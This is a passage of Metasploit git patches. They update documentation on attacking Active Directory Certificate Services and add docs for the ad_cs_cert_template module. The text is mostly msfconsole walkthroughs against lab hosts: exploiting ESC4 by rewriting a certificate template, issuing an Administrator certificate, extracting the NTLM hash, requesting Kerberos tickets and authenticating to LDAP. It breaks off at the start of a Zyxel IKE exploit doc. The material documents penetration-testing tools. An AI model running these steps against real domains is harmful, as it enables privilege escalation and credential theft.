@@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 @@ -606,7 +640,7 @@ host service type name content info msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` -Next we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this: +Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this: ```msf msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx @@ -632,8 +666,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -684,8 +718,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -713,46 +747,207 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator` domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information. -# Getting A Kerberos Ticket -Once a certificate for a user has been claimed, that certificate can be used to issue a Kerberos ticket granting ticket -(TGT) which in tern can be used to authenticate to services. +# Exploiting ESC4 To Gain Domain Administrator Privileges +To exploit ESC4, we will require an account with write privileges over a certificate template object in Active +Directory. This involves finding an object with weak permissions defined within the `nTSecurityDescriptor` field. With +this object identified, we can modify it to reconfigure the template to be vulnerable to another ESC technique. -Ticket granting tickets can be requested using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by specifying -the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the `CERT_FILE`. -Certificates from Metasploit do not require a password, but if the certificate was generated from a source that added -one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` datastore option to the Domain Controller, then -run the `GET_TGT` action. +First, we will use the `icpr_cert` module in an attempt to exploit ESC1 (by setting `ALT_UPN`). This fails because +the `ESC4-Test` certificate template does not allow the certificate's subject name to be supplied in the request (the +`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field). ```msf -msf6 > use kerberos/get_ticket +msf6 > use auxiliary/admin/dcerpc/icpr_cert +msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +CA => daforest-WIN-BR0CCBA815B-CA +msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com +ALT_UPN => Administrator@daforest.com +msf6 auxiliary(admin/dcerpc/icpr_cert) > run +[*] Running module against 172.30.239.85 + +[-] 172.30.239.85:445 - There was an error while requesting the certificate. +[-] 172.30.239.85:445 - Denied by Policy Module +[-] 172.30.239.85:445 - Error details: +[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer. +[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name. +[*] Auxiliary module execution completed +msf6 auxiliary(admin/dcerpc/icpr_cert) > +``` -Matching Modules -================ +Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a +backup of the certificate data that can be used later. Next, the local certificate template data is read and used to +update the object in Active Directory. The local certificate template data can be modified to set a custom security +descriptor. - # Name Disclosure Date Rank Check Description - - ---- --------------- ---- ----- ----------- - 0 auxiliary/admin/kerberos/get_ticket normal No Kerberos TGT/TGS Ticket Requester +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser +USERNAME => normaluser +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass +PASSWORD => normalpass +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +ACTION => UPDATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 172.30.239.85 +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 172.30.239.85:389 Getting root DSE +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` -Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/kerberos/get_ticket +Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut +to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds. -[*] Using auxiliary/admin/kerberos/get_ticket -msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=192.168.159.10 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_192.168.159.10_windows.ad.cs_287833.pfx -[*] Running module against 192.168.159.10 +```msf +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous +msf6 auxiliary(admin/dcerpc/icpr_cert) > run +[*] Running module against 172.30.239.85 -[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local -[+] 192.168.159.10:88 - Received a valid TGT-Response -[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin +[+] 172.30.239.85:445 - The requested certificate was issued. +[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com +[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +[*] Auxiliary module execution completed +msf6 auxiliary(admin/dcerpc/icpr_cert) > +``` + +Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by +setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > previous +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 172.30.239.85 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 172.30.239.85:389 Getting root DSE +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +At this point the certificate template's configuration has been restored and the operator has a certificate that can be +used to authenticate to Active Directory as the Domain Admin. + +# Authenticating With A Certificate +Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take +further actions once a certificate has been issued for a particular identity (such as a Domain Admin user). + +## Authenticating To Kerberos +Certificates can be used to authenticate to Kerberos using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by +specifying the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the +`CERT_FILE`. Certificates from Metasploit do not require a password, but if the certificate was generated from a source +that added one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` to the Domain Controller which is the +Key Distribution Center (KDC) for the Active Directory environment. + +### Getting An NT Hash +Certificates can be used to obtain the NTLM hash of an account with the PKINIT extension. To request the hash, set the +action to `GET_HASH`. + +```msf +msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +[*] Running module against 172.30.239.85 + +[+] 172.30.239.85:88 - Received a valid TGT-Response +[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin +[*] 172.30.239.85:88 - Getting NTLM hash for Administrator@daforest.com +[+] 172.30.239.85:88 - Received a valid TGS-Response +[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin +[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f +[*] Auxiliary module execution completed +msf6 auxiliary(admin/kerberos/get_ticket) > +``` + +### Getting A Kerberos Ticket +Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which in turn can be used to authenticate to +services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action. + +```msf +msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx +[*] Running module against 172.30.239.85 + +[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com +[+] 172.30.239.85:88 - Received a valid TGT-Response +[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin [*] Auxiliary module execution completed msf6 auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== -host principal sname issued status path ----- --------- ----- ------ ------ ---- -192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin +host principal sname issued status path +---- --------- ----- ------ ------ ---- +172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin msf6 auxiliary(admin/kerberos/get_ticket) > ``` Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will automatically be used in the future to request ticket granting services (TGS) for authentication to specific services. + +## Authenticating To LDAP +Certificates can also be used to directly authenticate to LDAP using schannel. Metasploit modules that use the builtin +LDAP library (including `auxiliary/gather/ldap_query`) offer this as an authentication option that can be enabled. To +use schannel authentication a few options must be set. + +* `LDAP::Auth` -- must be set to `schannel` +* `LDAP::CertFile` -- must be set to the PFX certificate file with which to authenticate +* `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections) + +```msf +msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel +LDAP::Auth => schannel +msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +msf6 auxiliary(gather/ldap_query) > set SSL true +[!] Changing the SSL option's value may require changing RPORT! +SSL => true +msf6 auxiliary(gather/ldap_query) > enum_domain +[*] Running module against 172.30.239.85 + +[*] Discovering base DN automatically +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] 172.30.239.85:389 Discovered schema DN: DC=daforest,DC=com +DC=msflab DC=local +================== + + Name Attributes + ---- ---------- + lockoutduration 0:00:30:00 + lockoutthreshold 0 + maxpwdage 42:00:00:00 + minpwdage 1:00:00:00 + minpwdlength 7 + ms-ds-machineaccountquota 10 + name msflab + objectsid S-1-5-21-3402587289-1488798532-3618296993 + +[*] Auxiliary module execution completed +msf6 auxiliary(gather/ldap_query) > +``` diff --git a/docs/navigation.rb b/docs/navigation.rb index 25ca809f8ca35..ec058c1c15131 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -197,20 +197,26 @@ def without_prefix(prefix) { path: 'ad-certificates/overview.md', title: 'Overview', - nav_order: 0, + nav_order: 0 }, { - path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md', - title: 'Request certificates' + path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md', + title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit', + nav_order: 1 }, { path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md', - title: 'Vulnerable cert finder' + title: 'Vulnerable cert finder', + nav_order: 2 }, { - path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md', - title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit' + path: '../../documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md', + title: 'Manage certificate templates' }, + { + path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md', + title: 'Request certificates' + } ] } ] diff --git a/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md new file mode 100644 index 0000000000000..cb9a6764c88f2 --- /dev/null +++ b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md @@ -0,0 +1,221 @@ +## RBCD Exploitation + +This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller. + +The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using +the CREATE or UPDATE actions. + +In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the +necessary permissions to perform the specified action on the target object (the certificate specified in +`CERT_TEMPLATE`). + +## Lab setup + +Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installing-ad-cs]] documentation. + +## Module usage + +The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack. + +1. From msfconsole +2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template` +3. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options +4. Set the `CERT_TEMPLATE` option to the name of the target certificate template +5. Set the `ACTION` + b. For the `UPDATE` action, set the `TEMPLATE_FILE` option + c. For the `CREATE` action, optionally set the `TEMPLATE_FILE` option +6. Run the module and see the operation complete successfully + +## Actions + +### CREATE +Create the certificate template in the LDAP server. If no `TEMPLATE_FILE` is specified, a new certificate template will +be created based on the Microsoft-builtin `SubCA` template with a default security descriptor. If the `TEMPLATE_FILE` is +specified, the attributes it defines are merged with the `SubCA` template. This allows attributes such as the security +descriptor and name to be defined. + +### READ +Read the certificate template from the LDAP server. A copy will be saved to disk. + +### UPDATE +Update the certificate template in the LDAP server. The `TEMPLATE_FILE` must be specified and will be used to read +attributes to set on the certificate template object. The `TEMPLATE_FILE` option can be set to a previously stored +template file to restore the object to a previous state. + +### DELETE +Delete the certificate template in the LDAP server. This is a destructive action. + +## Options + +### CERT_TEMPLATE +The remote certificate template name. This is used as the common name (CN) for the LDAP object. + +### TEMPLATE_FILE +This is a local template file from which to read object attributes from. Two file formats are supported, JSON and YAML. +The file format is determined by the extension so the file must end in either `.json` or `.yaml`. + +#### The JSON format +The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with +[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies fo certificate to +disk. + +#### The YAML format +The YAML file format is similiar to the JSON file format, but takes advantage of YAML's ability to include comments. +The file consists of a hash with attribute name keys and value strings. The `nTSecurityDescriptor` file can be either +a binary string representing a literal value, or a security descriptor defined in Microsoft's [Security Descriptor +Definition Language (SDDL)][sddl]. Premade configuration templates provided by Metasploit use this format. + +## Scenarios + +For steps on exploiting ESC4, see [[Exploiting ESC4|ad-certificates/attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]]. + +### Creating A Certificate Template + +In this scenario, the operator uses the module to create a new certificate template. Either the default local template +can be used to make one vulnerable to ESC1, or a previously saved configuration can be used. In the following example, +the `TEMPLATE_FILE` option is used to restore the settings from a previously deleted template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE +ACTION => CREATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Deleting A Certificate Template + +In this scenario, the operator uses the module to delete the `ESC4-Test` certificate template. A backup of the original +certificate's data is made before it is deleted. This file can be used with the `CREATE` action to restore the +certificate template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE +ACTION => DELETE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Reading A Certificate Template + +In this scenario, the operator uses the module to read the configuration of the default `User` certificate template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User +CERT_TEMPLATE => User +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ +ACTION => READ +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505125728_default_192.168.159.10_windows.ad.cs.te_691087.json +[*] Certificate Template: +[*] distinguishedName: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] displayName: User +[*] objectGUID: ceed9142-d00f-459e-9694-02eb59ea1ec8 +[*] msPKI-Certificate-Name-Flag: 0xa6000000 +[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_UPN +[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL +[*] * CT_FLAG_SUBJECT_REQUIRE_EMAIL +[*] * CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH +[*] msPKI-Enrollment-Flag: 0x00000029 +[*] * CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS +[*] * CT_FLAG_PUBLISH_TO_DS +[*] * CT_FLAG_AUTO_ENROLLMENT +[*] msPKI-RA-Signature: 0x00000000 +[*] pKIExtendedUsage: +[*] * 1.3.6.1.4.1.311.10.3.4 +[*] * 1.3.6.1.5.5.7.3.4 +[*] * 1.3.6.1.5.5.7.3.2 +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Updating A Certificate Template + +In this scenario, the operator uses the module to update and reconfigure the `ESC4-Test` certificate template to make it +vulnerable to ESC1 (the default template settings). This process first makes a backup of the certificate data that can +be used later. The local certificate template data can be modified to set a custom security descriptor. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +ACTION => UPDATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_192.168.159.10_windows.ad.cs.te_593597.json +[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +[certipy]: https://github.com/ly4k/Certipy +[sddl]: https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language From d9cbe065cefcd59124ea34069af2def4ba3c1e31 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 22 May 2023 10:15:11 -0500 Subject: [PATCH 172/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 51 +++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index c1bab41234238..50dd3d42425b6 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -5527,6 +5527,57 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_admin/ldap/ad_cs_cert_template": { + "name": "AD CS Certificate Template Management", + "fullname": "auxiliary/admin/ldap/ad_cs_cert_template", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Will Schroeder", + "Lee Christensen", + "Oliver Lyak", + "Spencer McIntyre" + ], + "description": "This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain\n Controller.\n\n The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be\n restored using the CREATE or UPDATE actions.", + "references": [ + "URL-https://github.com/GhostPack/Certify", + "URL-https://github.com/ly4k/Certipy" + ], + "platform": "", + "arch": "", + "rport": 389, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-05-04 09:17:16 +0000", + "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb", + "is_install_path": true, + "ref_name": "admin/ldap/ad_cs_cert_template", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_admin/ldap/rbcd": { "name": "Role Base Constrained Delegation", "fullname": "auxiliary/admin/ldap/rbcd", From 4dcfe0a1cfccd2fcdda48297feaab678df6b37fc Mon Sep 17 00:00:00 2001 From: Tom Kelley Date: Mon, 22 May 2023 09:38:36 -0700 Subject: [PATCH 173/415] Remove dead link --- docs/metasploit-framework.wiki/Using-Metasploit.md | 1 - 1 file changed, 1 deletion(-) diff --git a/docs/metasploit-framework.wiki/Using-Metasploit.md b/docs/metasploit-framework.wiki/Using-Metasploit.md index 5121fc394272a..476ea8bcedaf5 100644 --- a/docs/metasploit-framework.wiki/Using-Metasploit.md +++ b/docs/metasploit-framework.wiki/Using-Metasploit.md @@ -2,7 +2,6 @@ Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point: -* * * * From 6b101b5a4dff4f04eaa96edb87380db434d80332 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 22 May 2023 18:03:58 +0100 Subject: [PATCH 174/415] make rubocop happy --- .../zyxel_ike_decoder_rce_cve_2023_28771.md | 189 ++++++++++++++++++ .../zyxel_ike_decoder_rce_cve_2023_28771.rb | 168 ++++++++++++++++ 2 files changed, 357 insertions(+) create mode 100644 documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md create mode 100644 modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb diff --git a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md new file mode 100644 index 0000000000000..02a6459cc8e97 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md @@ -0,0 +1,189 @@ +## Vulnerable Application +This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange +(IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are +as follows: + +* ATP (Firmware version 4.60 to 5.35 inclusive) +* USG FLEX (Firmware version 4.60 to 5.35 inclusive), +* VPN (Firmware version 4.60 to 5.35 inclusive) +* ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). + +The affected devices are vulnerable in a default configuration and command execution is with root privileges. For a +full technical analysis of the vulnerability read the +[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis). + +## Testing +A physical device is required for testing. The device must be running a vulnerable firmware version prior to the 